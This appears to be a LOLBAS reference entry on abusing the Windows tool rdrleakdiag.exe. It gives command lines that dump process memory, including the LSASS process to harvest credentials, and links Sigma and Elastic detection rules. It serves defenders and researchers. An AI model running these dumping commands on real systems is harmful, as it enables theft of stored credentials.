.. /rdrleakdiag.exe

Dump

Microsoft Windows resource leak diagnostic tool

Paths:
c:\windows\system32\rdrleakdiag.exe
c:\Windows\SysWOW64\rdrleakdiag.exe

Resources:

- https://twitter.com/0gtweet/status/1299071304805560321?s=21
- https://www.pureid.io/dumping-abusing-windows-credentials-part-1/
- https://github.com/LOLBAS-Project/LOLBAS/issues/84

Acknowledgements:

- Grzegorz Tworek (@0gtweet)

Detections:

- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_rdrleakdiag_process_dumping.yml
- Elastic: https://www.elastic.co/guide/en/security/current/potential-credential-access-via-windows-utilities.html
- Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml

Dump

. Dump process by PID and create a dump file (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).

```
rdrleakdiag.exe /p 940 /o c:\evil /fullmemdmp /wait 1
```

Use case:	Dump process by PID.
Privileges required:	User
Operating systems:	Windows
ATT&CK® technique:	T1003

. Dump LSASS process by PID and create a dump file (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).

```
rdrleakdiag.exe /p 832 /o c:\evil /fullmemdmp /wait 1
```

Use case:	Dump LSASS process.

Privileges required:	Administrator
Operating systems:	Windows
ATT&CK® technique:	T1003.001

. After dumping a process using /wait 1, subsequent dumps must use /snap (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).

```
rdrleakdiag.exe /p 832 /o c:\evil /fullmemdmp /snap
```

Use case:	Dump LSASS process mutliple times.
Privileges required:	Administrator
Operating systems:	Windows
ATT&CK® technique:	T1003.001